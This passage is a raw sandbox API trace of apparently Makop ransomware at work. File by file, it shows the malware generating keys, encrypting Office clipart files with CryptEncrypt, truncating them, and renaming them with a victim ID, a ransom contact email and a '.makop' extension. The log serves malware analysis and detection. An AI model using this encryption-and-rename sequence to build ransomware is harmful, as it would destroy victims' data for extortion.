lpOverlapped=0x0) returned 1 [0140.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.697] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb9e, lpOverlapped=0x0) returned 1 [0140.697] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba0, dwBufLen=0xba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba0) returned 1 [0140.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xba0, lpOverlapped=0x0) returned 1 [0140.697] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.697] SetEndOfFile (hFile=0xf0) returned 1 [0140.704] GetProcessHeap () returned 0x48a0000 [0140.704] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.704] GetProcessHeap () returned 0x48a0000 [0140.704] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.704] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.706] CloseHandle (hObject=0xf0) returned 1 [0140.706] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1 [0140.706] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF") returned 63 [0140.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.707] GetProcessHeap () returned 0x48a0000 [0140.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.734] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.734] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.735] GetProcessHeap () returned 0x48a0000 [0140.735] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.735] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.735] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.735] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.735] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.735] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.735] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.736] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.736] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc88, lpOverlapped=0x0) returned 1 [0140.736] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc90, dwBufLen=0xc90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc90) returned 1 [0140.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.737] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc90, lpOverlapped=0x0) returned 1 [0140.737] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.738] SetEndOfFile (hFile=0xf0) returned 1 [0140.746] GetProcessHeap () returned 0x48a0000 [0140.746] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.746] GetProcessHeap () returned 0x48a0000 [0140.746] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.746] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.748] CloseHandle (hObject=0xf0) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1 [0140.748] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF") returned 63 [0140.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.751] GetProcessHeap () returned 0x48a0000 [0140.751] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.751] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0140.757] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.757] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.757] GetProcessHeap () returned 0x48a0000 [0140.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.757] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.758] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.758] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14c4, lpOverlapped=0x0) returned 1 [0140.760] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0) returned 1 [0140.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.760] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14d0, lpOverlapped=0x0) returned 1 [0140.761] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.761] SetEndOfFile (hFile=0xf0) returned 1 [0140.768] GetProcessHeap () returned 0x48a0000 [0140.768] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.768] GetProcessHeap () returned 0x48a0000 [0140.768] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.768] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.771] CloseHandle (hObject=0xf0) returned 1 [0140.771] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1 [0140.771] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF") returned 63 [0140.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.773] GetProcessHeap () returned 0x48a0000 [0140.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.774] GetProcessHeap () returned 0x48a0000 [0140.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.783] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.783] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x460, lpOverlapped=0x0) returned 1 [0140.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x460, dwBufLen=0x460 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x460) returned 1 [0140.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x460, lpOverlapped=0x0) returned 1 [0140.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.784] SetEndOfFile (hFile=0xf0) returned 1 [0140.791] GetProcessHeap () returned 0x48a0000 [0140.791] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.791] GetProcessHeap () returned 0x48a0000 [0140.791] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.791] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.793] CloseHandle (hObject=0xf0) returned 1 [0140.793] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1 [0140.794] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 63 [0140.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.796] GetProcessHeap () returned 0x48a0000 [0140.796] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.796] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.797] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.797] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.797] GetProcessHeap () returned 0x48a0000 [0140.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.797] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.797] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.797] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, 